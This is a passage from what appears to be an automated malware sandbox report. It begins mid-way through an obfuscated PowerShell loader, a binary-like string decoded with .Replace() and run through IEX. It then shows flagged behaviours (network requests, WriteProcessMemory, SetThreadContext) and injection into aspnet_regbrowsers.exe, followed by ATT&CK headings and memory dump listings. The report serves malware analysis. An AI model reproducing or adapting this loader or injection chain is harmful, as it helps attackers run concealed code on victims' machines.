IIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1'.Replace('KDJIRFIIKQ','0');IEX $RVIGZABQBSOIJNIGJODS
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    PID:1488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1488-149-0x0000000000400000-0x000000000040A000-memory.dmp

Download

memory/1488-151-0x0000000005720000-0x0000000005721000-memory.dmp

Download

memory/3880-121-0x0000027147C40000-0x0000027147C62000-memory.dmp

Download

memory/3880-125-0x0000027147C30000-0x0000027147C32000-memory.dmp

Download

memory/3880-126-0x0000027147C33000-0x0000027147C35000-memory.dmp

Download

memory/3880-127-0x0000027148930000-0x00000271489A6000-memory.dmp

Download

memory/3880-136-0x0000027147C36000-0x0000027147C38000-memory.dmp

Download

memory/3880-147-0x00000271488E0000-0x00000271488F2000-memory.dmp

Download

memory/3880-148-0x0000027148AE0000-0x0000027148AFA000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads